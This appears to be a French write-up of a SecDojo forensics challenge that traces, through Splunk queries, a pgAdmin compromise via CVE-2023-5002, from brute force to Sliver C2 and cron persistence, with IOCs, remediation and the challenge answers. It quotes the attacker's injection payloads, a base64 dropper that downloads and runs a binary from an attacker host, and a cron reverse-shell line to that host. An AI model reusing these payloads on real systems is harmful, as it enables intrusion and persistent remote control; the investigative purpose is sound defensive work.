Challenge Tusker : investigation Splunk d’une exploitation pgAdmin (CVE-2023-5002)
Plateforme : SecDojo Date de l’incident : 28 avril 2026 CVE exploitée : CVE-2023-5002 — Command Injection dans pgAdmin < 7.7 Résultat : ✅ chaîne d’attaque complète reconstituée via Splunk, du brute force à la persistance C2
1. Sources de données disponibles (Q1)
La première étape de toute investigation DFIR dans Splunk est de recenser les sources de logs disponibles.
| metadata type=sources index=* | table source, totalCount, recentTime
Explication de la commande :
| metadata type=sources— liste toutes les sources de données indexées dans Splunkindex=*— recherche dans tous les index disponibles| table source, totalCount, recentTime— affiche le nom, le nombre d’événements et la date du dernier événement
Résultat obtenu :
| Source | Événements | Contenu |
|---|---|---|
nginx:plus:access |
1509 | Logs proxy nginx |
linux:audit |
1118 | Logs audit système Linux |
pgadmin:log |
244 | Logs applicatifs pgAdmin |
apache:access |
— | Logs serveur Apache |
Réponse Q1 : apache (C), nginx (D), pgadmin (F), audit (G)
2. Première attaque — Brute Force (Q2, Q3, Q4, Q5)
Après avoir identifié les sources, on recherche les premiers signes d’activité malveillante dans les logs pgAdmin.
2.1 Identification de l’attaque (Q2)
index=* sourcetype=pgadmin:log | sort _time asc | head 50 | table _time, _raw
Explication de la commande :
index=* sourcetype=pgadmin:log— filtre uniquement les logs de l’application pgAdmin| sort _time asc— trie les événements du plus ancien au plus récent| head 50— affiche les 50 premiers événements| table _time, _raw— affiche le timestamp et le contenu brut de chaque log
Résultat & analyse :
On observe l’IP 13.53.105.255 qui envoie des requêtes POST répétitives sur /authenticate/login toutes les ~7 secondes avec un code retour 302 (redirect vers /login = échec d’authentification). C’est le comportement typique d’une attaque par Brute Force.
13.53.105.255 - - [28/Apr/2026 00:36:35] "POST /authenticate/login HTTP/1.1" 302 -
13.53.105.255 - - [28/Apr/2026 00:36:41] "POST /authenticate/login HTTP/1.1" 302 -
13.53.105.255 - - [28/Apr/2026 00:36:48] "POST /authenticate/login HTTP/1.1" 302 -
Réponse Q2 : Brute Force
Réponse Q3 : 2026-04-28 00:36:35 (premier POST /authenticate/login)
Réponse Q5 : 13.53.105.255 (IP source des requêtes répétitives)
2.2 Identification du compte compromis (Q4)
index=* sourcetype=pgadmin:log ("Logged in" OR "logged in") | table _time, _raw
Explication de la commande :
"Logged in"— recherche le message de connexion réussie que pgAdmin logue automatiquement- Cette requête permet de distinguer les tentatives échouées (302 vers
/login) du login réussi
Résultat obtenu :
2026-04-28 00:38:30,367: INFO pgadmin: Internal user user@domain.com logged in.
Après ~2 minutes de brute force (de 00:36:35 à 00:38:30), l’attaquant a trouvé le bon mot de passe.
Réponse Q4 : user@domain.com
3. Exploitation CVE-2023-5002 — Command Injection (Q6, Q7, Q8)
CVE-2023-5002 est une vulnérabilité de type Command Injection dans pgAdmin versions < 7.7. L’endpoint /misc/validate_binary_path, utilisé pour valider le chemin vers pg_dump/pg_restore, ne sanitise pas correctement les entrées utilisateur.
3.1 Identification de l’attaque enchaînée (Q6)
index=* sourcetype=pgadmin:log "13.53.105.255" | search _time > "2026-04-28 00:38:30" | table _time, _raw | sort _time asc
Explication de la commande :
"13.53.105.255"— filtre tous les logs liés à l’IP de l’attaquant_time > "2026-04-28 00:38:30"— recherche uniquement après le login réussi- Permet d’identifier les actions post-authentification de l’attaquant
Résultat & analyse :
00:45:54 POST /misc/validate_binary_path HTTP/1.1 200
00:47:58 POST /misc/validate_binary_path HTTP/1.1 200
00:48:12 POST /misc/validate_binary_path HTTP/1.1 200
00:50:16 POST /misc/validate_binary_path HTTP/1.1 200
L’attaquant envoie plusieurs requêtes POST vers /misc/validate_binary_path — c’est l’endpoint vulnérable de CVE-2023-5002.
Réponse Q6 : Command Injection (CVE-2023-5002)
3.2 Payloads utilisés (Q7 & Q8)
index=* sourcetype=pgadmin:log "POST Body" | table _time, _raw | sort _time asc
Explication de la commande :
"POST Body"— pgAdmin logue le corps des requêtes POST avec ce préfixe- Permet de voir le contenu exact des payloads envoyés par l’attaquant
- Sans ce filtre, on ne verrait que les métadonnées HTTP (méthode, chemin, status)
Chronologie des payloads :
Payload 1 — Test initial (00:45:54) :
{"utility_path":"/var/lib/pgadmin/storage/user_domain.com/\";id;#"}
L’attaquant injecte ;id;# pour tester si la commande id s’exécute. Le ; termine le chemin légitime, id est la commande injectée, # commente le reste.
Payload 2 — Test pwd (00:47:58 & 00:48:12) :
{"utility_path":"/var/lib/pgadmin/storage/user_domain.com/\";pwd;#"}
L’attaquant vérifie le répertoire courant pour confirmer l’exécution de commandes.
Payload 3 — Reverse shell dropper (00:50:16) :
{"utility_path":"/var/lib/pgadmin/storage/user_domain.com/\";echo Y3VybCBodHRwOi8vMTcyLjE2LjE0MS4yMDQ6ODg4OC9UUkFHSUNfQU5BR1JBTSAtLW91dHB1dCAvdG1wL2Ryb3BwZXJ4ICYmIGNobW9kICt4IC90bXAvZHJvcHBlcnggJiYgYmFzaCAtYyAvdG1wL2Ryb3BwZXJ4 | base64 -d | sh;#"}
Décodage du Base64 :
curl http://172.16.141.204:8888/TRAGIC_ANAGRAM --output /tmp/dropperx && chmod +x /tmp/dropperx && bash -c /tmp/dropperx
Explication du payload final :
echo <base64> | base64 -d | sh— encode la commande en base64 pour éviter les caractères spéciauxcurl http://172.16.141.204:8888/TRAGIC_ANAGRAM— télécharge le dropper C2 depuis le serveur de l’attaquant--output /tmp/dropperx— sauvegarde le dropper dans/tmpsous le nomdropperxchmod +x /tmp/dropperx— rend le dropper exécutablebash -c /tmp/dropperx— exécute le dropper (implant Sliver C2)
Réponse Q7 : /var/lib/pgadmin/storage/user_domain.com/";id;#
Réponse Q8 : payload Base64 complet (voir ci-dessus)
4. Framework C2 — Sliver (Q10)
Après l’exécution du dropper /tmp/dropperx, l’attaquant établit une connexion C2 persistante vers son serveur.
index=* sourcetype=linux:audit type=EXECVE | search _raw="*dropperx*" OR _raw="*TRAGIC*" OR _raw="*172.16.141.204*" | table _time, _raw | sort _time asc
Explication de la commande :
type=EXECVE— filtre les événements d’exécution de commandes dans les logs audit Linux_raw="*dropperx*"— recherche toute mention du fichier malveillantOR _raw="*172.16.141.204*"— recherche toute connexion vers l’IP du C2
Identification du framework :
Le binaire /tmp/dropperx est un implant Sliver C2. Les indicateurs sont :
- Connexion C2 vers
172.16.141.204:8888(téléchargement) - Connexion reverse shell vers
172.16.141.204:4444 - Nom de payload
TRAGIC_ANAGRAM— convention de nommage typique de Sliver - Requêtes POST
/misc/cleanuprépétées — keepalive C2 de Sliver - Erreurs
Bad HTTP/0.9 request— handshake TLS de Sliver mal interprété par pgAdmin
Réponse Q10 : Sliver (framework C2 open-source écrit en Go, développé par Bishop Fox)
5. Persistance — Cron Job (Q12, Q13)
5.1 Identification de la technique (Q12)
index=* sourcetype=linux:audit type=EXECVE uid=1000 | search _time > "2026-04-28 00:50:00" | search _raw="*cron*" OR _raw="*crontab*" | table _time, _raw | sort _time asc
Explication de la commande :
type=EXECVE— filtre les exécutions de commandesuid=1000— filtre les commandes exécutées par l’utilisateurubuntu(uid 1000)_time > "2026-04-28 00:50:00"— recherche après l’exploitation_raw="*crontab*"— recherche l’utilisation de crontab pour la persistance
Résultat obtenu :
2026-04-28 01:57:20 comm="crontab" exe="/usr/bin/crontab" UID="ubuntu" (argc=2 a1="-")
2026-04-28 01:57:20 comm="crontab" exe="/usr/bin/crontab" UID="ubuntu" (argc=2 a1="-l")
2026-04-28 02:00:25 comm="crontab" exe="/usr/bin/crontab" UID="ubuntu" (argc=2 a1="-")
2026-04-28 02:00:47 comm="crontab" exe="/usr/bin/crontab" UID="ubuntu" (argc=2 a1="-")
crontab - (écriture stdin) et crontab -l (lecture) indiquent que l’attaquant a ajouté une entrée dans la crontab.
Réponse Q12 : T1053.003 — Scheduled Task/Job: Cron (MITRE ATT&CK)
5.2 Commande de persistance (Q13)
index=* sourcetype=linux:audit | search _raw="*cron.d*" OR _raw="*persist*" OR _raw="*4444*" | table _time, _raw | sort _time asc
Commande exacte de persistance :
(crontab -l; echo "* * * * * bash -i >& /dev/tcp/172.16.141.204/4444 0>&1") | crontab -
Explication de la commande :
crontab -l— liste la crontab existante pour ne pas l’écraserecho "* * * * * ..."— ajoute une nouvelle entrée cron* * * * *— s’exécute toutes les minutes (min, heure, jour, mois, jour_semaine)bash -i >& /dev/tcp/172.16.141.204/4444 0>&1— reverse shell bash vers le C2| crontab -— écrit le résultat dans la crontab via stdin
Réponse Q13 :
(crontab -l; echo "* * * * * bash -i >& /dev/tcp/172.16.141.204/4444 0>&1") | crontab -
6. Tableau récapitulatif des réponses
| Question | Réponse | Source / Commande SPL clé |
|---|---|---|
| Q1 — Data sources | apache, nginx, pgadmin, audit |
\| metadata type=sources index=* |
| Q2 — 1ère attaque | Brute Force | index=* sourcetype=pgadmin:log \| sort _time asc |
| Q3 — Timestamp début | 2026-04-28 00:36:35 |
Premier POST /authenticate/login |
| Q4 — Compte compromis | user@domain.com |
index=* sourcetype=pgadmin:log "Logged in" |
| Q5 — IP attaquant | 13.53.105.255 |
Source des requêtes POST répétitives |
| Q6 — 2e attaque | Command Injection | POST /misc/validate_binary_path |
| Q7 — Premier payload | ...user_domain.com/";id;# |
index=* sourcetype=pgadmin:log "POST Body" |
| Q8 — Payload final | ...echo <b64> \| base64 -d \| sh;# |
index=* sourcetype=pgadmin:log "POST Body" |
| Q10 — Framework C2 | Sliver | Analyse du dropper /tmp/dropperx |
| Q12 — MITRE Persistence | T1053.003 (Cron) | index=* sourcetype=linux:audit uid=1000 crontab |
| Q13 — Cmd persistence | (crontab -l; echo ...) \| crontab - |
Analyse post-exploitation via C2 |
7. Indicateurs de compromission (IOCs)
| Type IOC | Valeur |
|---|---|
| IP attaquant | 13.53.105.255 |
| Serveur C2 | 172.16.141.204 |
| Port téléchargement dropper | 8888 |
| Port reverse shell | 4444 |
| Nom payload C2 | TRAGIC_ANAGRAM |
| Fichier malveillant | /tmp/dropperx |
| Compte compromis | user@domain.com |
| CVE exploitée | CVE-2023-5002 (pgAdmin < 7.7) |
| Endpoint vulnérable | /misc/validate_binary_path |
| Crontab persistance | * * * * * bash -i >& /dev/tcp/172.16.141.204/4444 0>&1 |
8. Recommandations de remédiation
- Mettre à jour pgAdmin vers la version 7.7 ou supérieure (patch CVE-2023-5002).
- Réinitialiser immédiatement le mot de passe du compte
user@domain.com. - Bloquer l’IP
13.53.105.255au niveau du firewall. - Bloquer toutes les connexions sortantes vers
172.16.141.204(ports 4444, 8888). - Supprimer le fichier malveillant
/tmp/dropperx. - Purger la crontab de l’utilisateur
ubuntu. - Implémenter un rate limiting sur
/authenticate/login(max 5 tentatives / minute). - Activer l’authentification multi-facteurs (MFA) sur pgAdmin.
- Restreindre l’accès à pgAdmin aux seules IPs internes autorisées.
- Auditer toutes les commandes exécutées depuis le compte compromis.
Références
- CVE-2023-5002 — pgAdmin Command Injection (
/misc/validate_binary_path) - Technique MITRE ATT&CK T1053.003 — Scheduled Task/Job: Cron
- Sliver C2 — framework de post-exploitation open-source (Bishop Fox)